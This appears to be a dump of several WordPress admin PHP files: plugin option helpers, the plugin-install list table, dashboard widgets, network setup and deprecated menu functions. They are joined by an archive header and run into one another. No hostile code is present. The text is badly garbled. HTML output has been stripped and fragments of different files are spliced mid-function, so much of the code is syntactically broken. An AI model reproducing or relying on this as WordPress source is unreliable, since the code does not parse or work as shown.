* @param array $options
* @return array
*/
function option_update_filter( $options ) {
global $new_allowed_options;
if ( is_array( $new_allowed_options ) ) {
$options = add_allowed_options( $new_allowed_options, $options );
}
return $options;
}
/**
* Adds an array of options to the list of allowed options.
*
* @since 5.5.0
*
* @global array $allowed_options
*
* @param array $new_options
* @param string|array $options
* @return array
*/
function add_allowed_options( $new_options, $options = '' ) {
if ( '' === $options ) {
global $allowed_options;
} else {
$allowed_options = $options;
}
foreach ( $new_options as $page => $keys ) {
foreach ( $keys as $key ) {
if ( ! isset( $allowed_options[ $page ] ) || ! is_array( $allowed_options[ $page ] ) ) {
$allowed_options[ $page ] = array();
$allowed_options[ $page ][] = $key;
} else {
$pos = array_search( $key, $allowed_options[ $page ], true );
if ( false === $pos ) {
$allowed_options[ $page ][] = $key;
}
}
}
}
return $allowed_options;
}
/**
* Removes a list of options from the allowed options list.
*
* @since 5.5.0
*
* @global array $allowed_options
*
* @param array $del_options
* @param string|array $options
* @return array
*/
function remove_allowed_options( $del_options, $options = '' ) {
if ( '' === $options ) {
global $allowed_options;
} else {
$allowed_options = $options;
}
foreach ( $del_options as $page => $keys ) {
foreach ( $keys as $key ) {
if ( isset( $allowed_options[ $page ] ) && is_array( $allowed_options[ $page ] ) ) {
$pos = array_search( $key, $allowed_options[ $page ], true );
if ( false !== $pos ) {
unset( $allowed_options[ $page ][ $pos ] );
}
}
}
}
return $allowed_options;
}
/**
* Outputs nonce, action, and option_page fields for a settings page.
*
* @since 2.7.0
*
* @param string $option_group A settings group name. This should match the group name
* used in register_setting().
*/
function settings_fields( $option_group ) {
echo "";
echo '';
wp_nonce_field( "$option_group-options" );
}
/**
* Clears the plugins cache used by get_plugins() and by default, the plugin updates cache.
*
* @since 3.7.0
*
* @param bool $clear_update_cache Whether to clear the plugin updates cache. Default true.
*/
function wp_clean_plugins_cache( $clear_update_cache = true ) {
if ( $clear_update_cache ) {
delete_site_transient( 'update_plugins' );
}
wp_cache_delete( 'plugins', 'plugins' );
}
/**
* Loads a given plugin attempt to generate errors.
*
* @since 3.0.0
* @since 4.4.0 Function was moved into the `wp-admin/includes/plugin.php` file.
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
*/
function plugin_sandbox_scrape( $plugin ) {
if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
define( 'WP_SANDBOX_SCRAPING', true );
}
wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
include_once WP_PLUGIN_DIR . '/' . $plugin;
}
/**
* Declares a helper function for adding content to the Privacy Policy Guide.
*
* Plugins and themes should suggest text for inclusion in the site's privacy policy.
* The suggested text should contain information about any functionality that affects user privacy,
* and will be shown on the Privacy Policy Guide screen.
*
* A plugin or theme can use this function multiple times as long as it will help to better present
* the suggested policy content. For example modular plugins such as WooCommerse or Jetpack
* can add or remove suggested content depending on the modules/extensions that are enabled.
* For more information see the Plugin Handbook:
* https://developer.wordpress.org/plugins/privacy/suggesting-text-for-the-site-privacy-policy/.
*
* The HTML contents of the `$policy_text` supports use of a specialized `.privacy-policy-tutorial`
* CSS class which can be used to provide supplemental information. Any content contained within
* HTML elements that have the `.privacy-policy-tutorial` CSS class applied will be omitted
* from the clipboard when the section content is copied.
*
* Intended for use with the `'admin_init'` action.
*
* @since 4.9.6
*
* @param string $plugin_name The name of the plugin or theme that is suggesting content
* for the site's privacy policy.
* @param string $policy_text The suggested content for inclusion in the policy.
*/
function wp_add_privacy_policy_content( $plugin_name, $policy_text ) {
if ( ! is_admin() ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
/* translators: %s: admin_init */
__( 'The suggested privacy policy content should be added only in wp-admin by using the %s (or later) action.' ),
'admin_init'
),
'4.9.7'
);
return;
} elseif ( ! doing_action( 'admin_init' ) && ! did_action( 'admin_init' ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
/* translators: %s: admin_init */
__( 'The suggested privacy policy content should be added by using the %s (or later) action. Please see the inline documentation.' ),
'admin_init'
),
'4.9.7'
);
return;
}
if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
}
WP_Privacy_Policy_Content::add( $plugin_name, $policy_text );
}
/**
* Determines whether a plugin is technically active but was paused while
* loading.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 5.2.0
*
* @global WP_Paused_Extensions_Storage $_paused_plugins
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return bool True, if in the list of paused plugins. False, if not in the list.
*/
function is_plugin_paused( $plugin ) {
if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
return false;
}
if ( ! is_plugin_active( $plugin ) ) {
return false;
}
list( $plugin ) = explode( '/', $plugin );
return array_key_exists( $plugin, $GLOBALS['_paused_plugins'] );
}
/**
* Gets the error that was recorded for a paused plugin.
*
* @since 5.2.0
*
* @global WP_Paused_Extensions_Storage $_paused_plugins
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return array|false Array of error information as returned by `error_get_last()`,
* or false if none was recorded.
*/
function wp_get_plugin_error( $plugin ) {
if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
return false;
}
list( $plugin ) = explode( '/', $plugin );
if ( ! array_key_exists( $plugin, $GLOBALS['_paused_plugins'] ) ) {
return false;
}
return $GLOBALS['_paused_plugins'][ $plugin ];
}
/**
* Tries to resume a single plugin.
*
* If a redirect was provided, we first ensure the plugin does not throw fatal
* errors anymore.
*
* The way it works is by setting the redirection to the error before trying to
* include the plugin file. If the plugin fails, then the redirection will not
* be overwritten with the success message and the plugin will not be resumed.
*
* @since 5.2.0
*
* @param string $plugin Single plugin to resume.
* @param string $redirect Optional. URL to redirect to. Default empty string.
* @return true|WP_Error True on success, false if `$plugin` was not paused,
* `WP_Error` on failure.
*/
function resume_plugin( $plugin, $redirect = '' ) {
/*
* We'll override this later if the plugin could be resumed without
* creating a fatal error.
*/
if ( ! empty( $redirect ) ) {
wp_redirect(
add_query_arg(
'_error_nonce',
wp_create_nonce( 'plugin-resume-error_' . $plugin ),
$redirect
)
);
// Load the plugin to test whether it throws a fatal error.
ob_start();
plugin_sandbox_scrape( $plugin );
ob_clean();
}
list( $extension ) = explode( '/', $plugin );
$result = wp_paused_plugins()->delete( $extension );
if ( ! $result ) {
return new WP_Error(
'could_not_resume_plugin',
__( 'Could not resume the plugin.' )
);
}
return true;
}
/**
* Renders an admin notice in case some plugins have been paused due to errors.
*
* @since 5.2.0
*
* @global string $pagenow The filename of the current screen.
* @global WP_Paused_Extensions_Storage $_paused_plugins
*/
function paused_plugins_notice() {
if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
return;
}
if ( ! current_user_can( 'resume_plugins' ) ) {
return;
}
if ( ! isset( $GLOBALS['_paused_plugins'] ) || empty( $GLOBALS['_paused_plugins'] ) ) {
return;
}
$message = sprintf(
'%s %s
%s',
__( 'One or more plugins failed to load properly.' ),
__( 'You can find more details and make changes on the Plugins screen.' ),
esc_url( admin_url( 'plugins.php?plugin_status=paused' ) ),
__( 'Go to the Plugins screen' )
);
wp_admin_notice(
$message,
array( 'type' => 'error' )
);
}
/**
* Renders an admin notice when a plugin was deactivated during an update.
*
* Displays an admin notice in case a plugin has been deactivated during an
* upgrade due to incompatibility with the current version of WordPress.
*
* @since 5.8.0
* @access private
*
* @global string $pagenow The filename of the current screen.
* @global string $wp_version The WordPress version string.
*/
function deactivated_plugins_notice() {
if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
return;
}
if ( ! current_user_can( 'activate_plugins' ) ) {
return;
}
$blog_deactivated_plugins = get_option( 'wp_force_deactivated_plugins' );
$site_deactivated_plugins = array();
if ( false === $blog_deactivated_plugins ) {
// Option not in database, add an empty array to avoid extra DB queries on subsequent loads.
update_option( 'wp_force_deactivated_plugins', array(), false );
}
if ( is_multisite() ) {
$site_deactivated_plugins = get_site_option( 'wp_force_deactivated_plugins' );
if ( false === $site_deactivated_plugins ) {
// Option not in database, add an empty array to avoid extra DB queries on subsequent loads.
update_site_option( 'wp_force_deactivated_plugins', array() );
}
}
if ( empty( $blog_deactivated_plugins ) && empty( $site_deactivated_plugins ) ) {
// No deactivated plugins.
return;
}
$deactivated_plugins = array_merge( $blog_deactivated_plugins, $site_deactivated_plugins );
foreach ( $deactivated_plugins as $plugin ) {
if ( ! empty( $plugin['version_compatible'] ) && ! empty( $plugin['version_deactivated'] ) ) {
$explanation = sprintf(
/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version, 4: Compatible plugin version. */
__( '%1$s %2$s was deactivated due to incompatibility with WordPress %3$s, please upgrade to %1$s %4$s or later.' ),
$plugin['plugin_name'],
$plugin['version_deactivated'],
$GLOBALS['wp_version'],
$plugin['version_compatible']
);
} else {
$explanation = sprintf(
/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version. */
__( '%1$s %2$s was deactivated due to incompatibility with WordPress %3$s.' ),
$plugin['plugin_name'],
! empty( $plugin['version_deactivated'] ) ? $plugin['version_deactivated'] : '',
$GLOBALS['wp_version'],
$plugin['version_compatible']
);
}
$message = sprintf(
'%s %s
%s',
sprintf(
/* translators: %s: Name of deactivated plugin. */
__( '%s plugin deactivated during WordPress upgrade.' ),
$plugin['plugin_name']
),
$explanation,
esc_url( admin_url( 'plugins.php?plugin_status=inactive' ) ),
__( 'Go to the Plugins screen' )
);
wp_admin_notice( $message, array( 'type' => 'warning' ) );
}
// Empty the options.
update_option( 'wp_force_deactivated_plugins', array(), false );
if ( is_multisite() ) {
update_site_option( 'wp_force_deactivated_plugins', array() );
}
}
class-wp-plugin-install-list-table.php 0000644 00000060322 14757313107 0014017 0 ustar 00 no_update ) ) {
foreach ( $plugin_info->no_update as $plugin ) {
if ( isset( $plugin->slug ) ) {
$plugin->upgrade = false;
$plugins[ $plugin->slug ] = $plugin;
}
}
}
if ( isset( $plugin_info->response ) ) {
foreach ( $plugin_info->response as $plugin ) {
if ( isset( $plugin->slug ) ) {
$plugin->upgrade = true;
$plugins[ $plugin->slug ] = $plugin;
}
}
}
return $plugins;
}
/**
* Returns a list of slugs of installed plugins, if known.
*
* Uses the transient data from the updates API to determine the slugs of
* known installed plugins. This might be better elsewhere, perhaps even
* within get_plugins().
*
* @since 4.0.0
*
* @return array
*/
protected function get_installed_plugin_slugs() {
return array_keys( $this->get_installed_plugins() );
}
/**
* @global array $tabs
* @global string $tab
* @global int $paged
* @global string $type
* @global string $term
*/
public function prepare_items() {
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
global $tabs, $tab, $paged, $type, $term;
$tab = ! empty( $_REQUEST['tab'] ) ? sanitize_text_field( $_REQUEST['tab'] ) : '';
$paged = $this->get_pagenum();
$per_page = 36;
// These are the tabs which are shown on the page.
$tabs = array();
if ( 'search' === $tab ) {
$tabs['search'] = __( 'Search Results' );
}
if ( 'beta' === $tab || str_contains( get_bloginfo( 'version' ), '-' ) ) {
$tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' );
}
$tabs['featured'] = _x( 'Featured', 'Plugin Installer' );
$tabs['popular'] = _x( 'Popular', 'Plugin Installer' );
$tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' );
$tabs['favorites'] = _x( 'Favorites', 'Plugin Installer' );
if ( current_user_can( 'upload_plugins' ) ) {
/*
* No longer a real tab. Here for filter compatibility.
* Gets skipped in get_views().
*/
$tabs['upload'] = __( 'Upload Plugin' );
}
$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.
/**
* Filters the tabs shown on the Add Plugins screen.
*
* @since 2.7.0
*
* @param string[] $tabs The tabs shown on the Add Plugins screen. Defaults include
* 'featured', 'popular', 'recommended', 'favorites', and 'upload'.
*/
$tabs = apply_filters( 'install_plugins_tabs', $tabs );
/**
* Filters tabs not associated with a menu item on the Add Plugins screen.
*
* @since 2.7.0
*
* @param string[] $nonmenu_tabs The tabs that don't have a menu item on the Add Plugins screen.
*/
$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );
// If a non-valid menu tab has been selected, And it's not a non-menu action.
if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
$tab = key( $tabs );
}
$installed_plugins = $this->get_installed_plugins();
$args = array(
'page' => $paged,
'per_page' => $per_page,
// Send the locale to the API so it can provide context-sensitive results.
'locale' => get_user_locale(),
);
switch ( $tab ) {
case 'search':
$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
switch ( $type ) {
case 'tag':
$args['tag'] = sanitize_title_with_dashes( $term );
break;
case 'term':
$args['search'] = $term;
break;
case 'author':
$args['author'] = $term;
break;
}
break;
case 'featured':
case 'popular':
case 'new':
case 'beta':
$args['browse'] = $tab;
break;
case 'recommended':
$args['browse'] = $tab;
// Include the list of installed plugins so we can get relevant results.
$args['installed_plugins'] = array_keys( $installed_plugins );
break;
case 'favorites':
$action = 'save_wporg_username_' . get_current_user_id();
if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );
// If the save url parameter is passed with a falsey value, don't save the favorite user.
if ( ! isset( $_GET['save'] ) || $_GET['save'] ) {
update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
}
} else {
$user = get_user_option( 'wporg_favorites' );
}
if ( $user ) {
$args['user'] = $user;
} else {
$args = false;
}
add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
break;
default:
$args = false;
break;
}
/**
* Filters API request arguments for each Add Plugins screen tab.
*
* The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
*
* Possible hook names include:
*
* - `install_plugins_table_api_args_favorites`
* - `install_plugins_table_api_args_featured`
* - `install_plugins_table_api_args_popular`
* - `install_plugins_table_api_args_recommended`
* - `install_plugins_table_api_args_upload`
* - `install_plugins_table_api_args_search`
* - `install_plugins_table_api_args_beta`
*
* @since 3.7.0
*
* @param array|false $args Plugin install API arguments.
*/
$args = apply_filters( "install_plugins_table_api_args_{$tab}", $args );
if ( ! $args ) {
return;
}
$api = plugins_api( 'query_plugins', $args );
if ( is_wp_error( $api ) ) {
$this->error = $api;
return;
}
$this->items = $api->plugins;
if ( $this->orderby ) {
uasort( $this->items, array( $this, 'order_callback' ) );
}
$this->set_pagination_args(
array(
'total_items' => $api->info['results'],
'per_page' => $args['per_page'],
)
);
if ( isset( $api->info['groups'] ) ) {
$this->groups = $api->info['groups'];
}
if ( $installed_plugins ) {
$js_plugins = array_fill_keys(
array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ),
array()
);
$js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) );
$upgrade_plugins = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' );
if ( $upgrade_plugins ) {
$js_plugins['upgrade'] = array_values( $upgrade_plugins );
}
wp_localize_script(
'updates',
'_wpUpdatesItemCounts',
array(
'plugins' => $js_plugins,
'totals' => wp_get_update_data(),
)
);
}
}
/**
*/
public function no_items() {
if ( isset( $this->error ) ) {
$error_message = '
' . $this->error->get_error_message() . '
';
$error_message .= '';
wp_admin_notice(
$error_message,
array(
'additional_classes' => array( 'inline', 'error' ),
'paragraph_wrap' => false,
)
);
?>
$text ) {
$display_tabs[ 'plugin-install-' . $action ] = array(
'url' => self_admin_url( 'plugin-install.php?tab=' . $action ),
'label' => $text,
'current' => $action === $tab,
);
}
// No longer a real tab.
unset( $display_tabs['plugin-install-upload'] );
return $this->get_views_links( $display_tabs );
}
/**
* Overrides parent views so we can use the filter bar display.
*/
public function views() {
$views = $this->get_views();
/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
$views = apply_filters( "views_{$this->screen->id}", $views );
$this->screen->render_screen_reader_content( 'heading_views' );
?>
' . __( 'Untested with your version of WordPress' ) . '';
} elseif ( ! $compatible_wp ) {
echo '' . __( 'Incompatible with your version of WordPress' ) . '';
} else {
echo '' . __( 'Compatible with your version of WordPress' ) . '';
}
?>
';
}
}
/**
* Returns a notice containing a list of dependencies required by the plugin.
*
* @since 6.5.0
*
* @param array $plugin_data An array of plugin data. See {@see plugins_api()}
* for the list of possible values.
* @return string A notice containing a list of dependencies required by the plugin,
* or an empty string if none is required.
*/
protected function get_dependencies_notice( $plugin_data ) {
if ( empty( $plugin_data['requires_plugins'] ) ) {
return '';
}
$no_name_markup = '
' . __( 'Create a New Site' ) . '';
}
if ( current_user_can( 'create_users' ) ) {
$actions['create-user'] = '' . __( 'Create a New User' ) . '';
}
$c_users = get_user_count();
$c_blogs = get_blog_count();
/* translators: %s: Number of users on the network. */
$user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) );
/* translators: %s: Number of sites on the network. */
$blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) );
/* translators: 1: Text indicating the number of sites on the network, 2: Text indicating the number of users on the network. */
$sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text );
if ( $actions ) {
echo '
';
/* translators: Maximum number of words used in a preview of a draft on the dashboard. */
$draft_length = (int) _x( '10', 'draft_length' );
$drafts = array_slice( $drafts, 0, 3 );
foreach ( $drafts as $draft ) {
$url = get_edit_post_link( $draft->ID );
$title = _draft_or_post_title( $draft->ID );
echo "
';
}
/**
* Checks to see if all of the feed url in $check_urls are cached.
*
* If $check_urls is empty, look for the rss feed url found in the dashboard
* widget options of $widget_id. If cached, call $callback, a function that
* echoes out output for this widget. If not cache, echo a "Loading..." stub
* which is later replaced by Ajax call (see top of /wp-admin/index.php)
*
* @since 2.5.0
* @since 5.3.0 Formalized the existing and already documented `...$args` parameter
* by adding it to the function signature.
*
* @param string $widget_id The widget ID.
* @param callable $callback The callback function used to display each feed.
* @param array $check_urls RSS feeds.
* @param mixed ...$args Optional additional parameters to pass to the callback function.
* @return bool True on success, false on failure.
*/
function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array(), ...$args ) {
$doing_ajax = wp_doing_ajax();
$loading = '
';
$community_events_notice .= '';
wp_admin_notice(
$community_events_notice,
array(
'type' => 'error',
'additional_classes' => array( 'community-events-errors', 'inline', 'hide-if-js' ),
'paragraph_wrap' => false,
)
);
/*
* Hide the main element when the page first loads, because the content
* won't be ready until wp.communityEvents.renderEventsTemplate() has run.
*/
?>
array(
/**
* Filters the primary link URL for the 'WordPress Events and News' dashboard widget.
*
* @since 2.5.0
*
* @param string $link The widget's primary link URL.
*/
'link' => apply_filters( 'dashboard_primary_link', __( 'https://wordpress.org/news/' ) ),
/**
* Filters the primary feed URL for the 'WordPress Events and News' dashboard widget.
*
* @since 2.3.0
*
* @param string $url The widget's primary feed URL.
*/
'url' => apply_filters( 'dashboard_primary_feed', __( 'https://wordpress.org/news/feed/' ) ),
/**
* Filters the primary link title for the 'WordPress Events and News' dashboard widget.
*
* @since 2.3.0
*
* @param string $title Title attribute for the widget's primary link.
*/
'title' => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ),
'items' => 2,
'show_summary' => 0,
'show_author' => 0,
'show_date' => 0,
),
'planet' => array(
/**
* Filters the secondary link URL for the 'WordPress Events and News' dashboard widget.
*
* @since 2.3.0
*
* @param string $link The widget's secondary link URL.
*/
'link' => apply_filters(
'dashboard_secondary_link',
/* translators: Link to the Planet website of the locale. */
__( 'https://planet.wordpress.org/' )
),
/**
* Filters the secondary feed URL for the 'WordPress Events and News' dashboard widget.
*
* @since 2.3.0
*
* @param string $url The widget's secondary feed URL.
*/
'url' => apply_filters(
'dashboard_secondary_feed',
/* translators: Link to the Planet feed of the locale. */
__( 'https://planet.wordpress.org/feed/' )
),
/**
* Filters the secondary link title for the 'WordPress Events and News' dashboard widget.
*
* @since 2.3.0
*
* @param string $title Title attribute for the widget's secondary link.
*/
'title' => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),
/**
* Filters the number of secondary link items for the 'WordPress Events and News' dashboard widget.
*
* @since 4.4.0
*
* @param string $items How many items to show in the secondary feed.
*/
'items' => apply_filters( 'dashboard_secondary_items', 3 ),
'show_summary' => 0,
'show_author' => 0,
'show_date' => 0,
),
);
wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds );
}
/**
* Displays the WordPress events and news feeds.
*
* @since 3.8.0
* @since 4.8.0 Removed popular plugins feed.
*
* @param string $widget_id Widget ID.
* @param array $feeds Array of RSS feeds.
*/
function wp_dashboard_primary_output( $widget_id, $feeds ) {
foreach ( $feeds as $type => $args ) {
$args['type'] = $type;
echo '
';
$notice .= '';
}
/**
* Filters the notice output for the 'Browse Happy' nag meta box.
*
* @since 3.2.0
*
* @param string $notice The notice content.
* @param array|false $response An array containing web browser information, or
* false on failure. See wp_check_browser_version().
*/
echo apply_filters( 'browse-happy-notice', $notice, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
/**
* Adds an additional class to the browser nag if the current version is insecure.
*
* @since 3.2.0
*
* @param string[] $classes Array of meta box classes.
* @return string[] Modified array of meta box classes.
*/
function dashboard_browser_nag_class( $classes ) {
$response = wp_check_browser_version();
if ( $response && $response['insecure'] ) {
$classes[] = 'browser-insecure';
}
return $classes;
}
/**
* Checks if the user needs a browser update.
*
* @since 3.2.0
*
* @return array|false Array of browser data on success, false on failure.
*/
function wp_check_browser_version() {
if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
return false;
}
$key = md5( $_SERVER['HTTP_USER_AGENT'] );
$response = get_site_transient( 'browser_' . $key );
if ( false === $response ) {
$url = 'http://api.wordpress.org/core/browse-happy/1.1/';
$options = array(
'body' => array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ),
'user-agent' => 'WordPress/' . wp_get_wp_version() . '; ' . home_url( '/' ),
);
if ( wp_http_supports( array( 'ssl' ) ) ) {
$url = set_url_scheme( $url, 'https' );
}
$response = wp_remote_post( $url, $options );
if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
return false;
}
/**
* Response should be an array with:
* 'platform' - string - A user-friendly platform name, if it can be determined
* 'name' - string - A user-friendly browser name
* 'version' - string - The version of the browser the user is using
* 'current_version' - string - The most recent version of the browser
* 'upgrade' - boolean - Whether the browser needs an upgrade
* 'insecure' - boolean - Whether the browser is deemed insecure
* 'update_url' - string - The url to visit to upgrade
* 'img_src' - string - An image representing the browser
* 'img_src_ssl' - string - An image (over SSL) representing the browser
*/
$response = json_decode( wp_remote_retrieve_body( $response ), true );
if ( ! is_array( $response ) ) {
return false;
}
set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS );
}
return $response;
}
/**
* Displays the PHP update nag.
*
* @since 5.1.0
*/
function wp_dashboard_php_nag() {
$response = wp_check_php_version();
if ( ! $response ) {
return;
}
if ( isset( $response['is_secure'] ) && ! $response['is_secure'] ) {
// The `is_secure` array key name doesn't actually imply this is a secure version of PHP. It only means it receives security updates.
if ( $response['is_lower_than_future_minimum'] ) {
$message = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates and soon will not be supported by WordPress. Ensure that PHP is updated on your server as soon as possible. Otherwise you will not be able to upgrade WordPress.' ),
PHP_VERSION
);
} else {
$message = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which does not receive security updates. It should be updated.' ),
PHP_VERSION
);
}
} elseif ( $response['is_lower_than_future_minimum'] ) {
$message = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which soon will not be supported by WordPress. Ensure that PHP is updated on your server as soon as possible. Otherwise you will not be able to upgrade WordPress.' ),
PHP_VERSION
);
} else {
$message = sprintf(
/* translators: %s: The server PHP version. */
__( 'Your site is running on an outdated version of PHP (%s), which should be updated.' ),
PHP_VERSION
);
}
?>
%2$s %3$s',
esc_url( wp_get_update_php_url() ),
__( 'Learn more about updating PHP' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
);
?>
visit the Site Health screen to gather information about your site now.' ),
esc_url( admin_url( 'site-health.php' ) )
);
?>
1 ) : ?>
0 && false !== $get_issues ) : ?>
%1$d item on the Site Health screen.',
'Take a look at the %1$d items on the Site Health screen.',
$issues_total
),
$issues_total,
esc_url( admin_url( 'site-health.php' ) )
);
?>
'',
'nonce' => '',
'title' => __( 'Update Translations' ),
'skip_header_footer' => false,
);
$args = wp_parse_args( $args, $defaults );
if ( $args['skip_header_footer'] ) {
$this->done_header = true;
$this->done_footer = true;
$this->display_footer_actions = false;
}
parent::__construct( $args );
}
/**
* Performs an action before a language pack update.
*
* @since 3.7.0
*/
public function before() {
$name = $this->upgrader->get_name_for_update( $this->language_update );
echo '
';
/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
printf( '
' . __( 'Once the network is created, you may reactivate your plugins.' ) . '
';
echo '';
require_once ABSPATH . 'wp-admin/admin-footer.php';
die();
}
// Strip standard port from hostname.
$hostname = preg_replace( '/(?::80|:443)$/', '', get_clean_basedomain() );
echo '
get_error_message(),
array(
'additional_classes' => array( 'error' ),
)
);
}
if ( $_POST ) {
if ( allow_subdomain_install() ) {
$subdomain_install = allow_subdirectory_install() ? ! empty( $_POST['subdomain_install'] ) : true;
} else {
$subdomain_install = false;
}
} else {
if ( is_multisite() ) {
$subdomain_install = is_subdomain_install();
?>
get_var( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = 1 AND meta_key = 'subdomain_install'" );
wp_admin_notice(
'' . __( 'Warning:' ) . ' ' . __( 'An existing WordPress network was detected.' ),
array(
'additional_classes' => array( 'error' ),
)
);
?>
' . __( 'Caution:' ) . ' ';
$notice_args = array(
'type' => 'warning',
'additional_classes' => array( 'inline' ),
);
if ( file_exists( $home_path . '.htaccess' ) ) {
$notice_message .= sprintf(
/* translators: 1: wp-config.php, 2: .htaccess */
__( 'You should back up your existing %1$s and %2$s files.' ),
'wp-config.php',
'.htaccess'
);
} elseif ( file_exists( $home_path . 'web.config' ) ) {
$notice_message .= sprintf(
/* translators: 1: wp-config.php, 2: web.config */
__( 'You should back up your existing %1$s and %2$s files.' ),
'wp-config.php',
'web.config'
);
} else {
$notice_message .= sprintf(
/* translators: %s: wp-config.php */
__( 'You should back up your existing %s file.' ),
'wp-config.php'
);
}
wp_admin_notice( $notice_message, $notice_args );
}
?>
above the line reading %3$s:' ),
'wp-config.php',
'' . $location_of_wp_config . '',
/*
* translators: This string should only be translated if wp-config-sample.php is localized.
* You can check the localized release package or
* https://i18n.svn.wordpress.org//branches//dist/wp-config-sample.php
*/
'/* ' . __( 'That’s all, stop editing! Happy publishing.' ) . ' */'
);
?>
';
printf(
/* translators: 1: File name (.htaccess or web.config), 2: File path. */
__( 'Add the following to your %1$s file in %2$s, replacing other WordPress rules:' ),
'web.config',
'' . $home_path . ''
);
echo '
' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '
';
}
?>
';
printf(
/* translators: %s: Documentation URL. */
__( 'It seems your network is running with Nginx web server. Learn more about further configuration.' ),
__( 'https://developer.wordpress.org/advanced-administration/server/web-server/nginx/' )
);
echo '
';
printf(
/* translators: 1: File name (.htaccess or web.config), 2: File path. */
__( 'Add the following to your %1$s file in %2$s, replacing other WordPress rules:' ),
'.htaccess',
'' . $home_path . ''
);
echo '
';
}
/**
* This was once used to move child posts to a new parent.
*
* @since 2.3.0
* @deprecated 3.9.0
* @access private
*
* @param int $old_ID
* @param int $new_ID
*/
function _relocate_children( $old_ID, $new_ID ) {
_deprecated_function( __FUNCTION__, '3.9.0' );
}
/**
* Add a top-level menu page in the 'objects' section.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
*
* @deprecated 4.5.0 Use add_menu_page()
* @see add_menu_page()
* @global int $_wp_last_object_menu
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param string $icon_url Optional. The URL to the icon to be used for this menu.
* @return string The resulting page's hook_suffix.
*/
function add_object_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '') {
_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );
global $_wp_last_object_menu;
$_wp_last_object_menu++;
return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback, $icon_url, $_wp_last_object_menu);
}
/**
* Add a top-level menu page in the 'utility' section.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
*
* @deprecated 4.5.0 Use add_menu_page()
* @see add_menu_page()
* @global int $_wp_last_utility_menu
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param string $icon_url Optional. The URL to the icon to be used for this menu.
